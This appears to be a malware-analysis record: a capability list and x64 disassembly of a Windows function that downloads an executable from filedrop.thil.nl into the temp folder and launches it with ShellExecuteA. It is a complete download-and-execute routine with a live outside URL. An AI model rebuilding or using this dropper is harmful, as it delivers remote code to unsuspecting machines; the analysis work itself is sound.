Function at 0x140001531
Capabilities:
Create http request
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
mov eax, 0x1288
call fcn.140002a20
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, str.https:__filedrop.thil.nl_s_lxx5naxl.exe
mov qword [rbp + 0x11f8], rax
lea rax, [rbp + 0xc0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x1400015af
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.Failed_to_get_the_temporary_folder_path._Error:__lu_n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x1400018ea
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._slxx5naxl.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Downloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x11f0], rax
cmp qword [rbp + 0x11f0], 0
jne 0x140001646
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.Failed_to_initialize_WinINet._Error:__lu_n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x1400018ea
mov rdx, qword [rbp + 0x11f8]
mov rax, qword [rbp + 0x11f0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x11e8], rax
cmp qword [rbp + 0x11e8], 0
jne 0x1400016d9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.Failed_to_open_URL._Error:__lu_n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x11f0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x1400018ea
lea rax, [rbp - 0x50]
lea rdx, [0x14000a0c8]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x11e0], rax
cmp qword [rbp + 0x11e0], 0
jne 0x14000174d
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_open_output_file._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x11f0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x1400018ea
lea rcx, [rbp + 0x11d4]
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x11e8]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
jne 0x1400017e8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.Failed_to_read_data._Error:__lu_n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x11f0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x1400018ea
mov eax, dword [rbp + 0x11d4]
test eax, eax
je 0x14000181b
mov eax, dword [rbp + 0x11d4]
mov ecx, eax
mov rdx, qword [rbp + 0x11e0]
lea rax, [rbp + 0x1d0]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov eax, dword [rbp + 0x11d4]
test eax, eax
jne 0x14000174d
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Download_completed_successfully._File_saved_to:__s_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x11f0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x11d8]
cmp rax, 0x20
jg 0x1400018e5
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_execute_the_downloaded_file._n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x1400018ea
mov eax, 0
add rsp, 0x1288
pop rbx
pop rbp
ret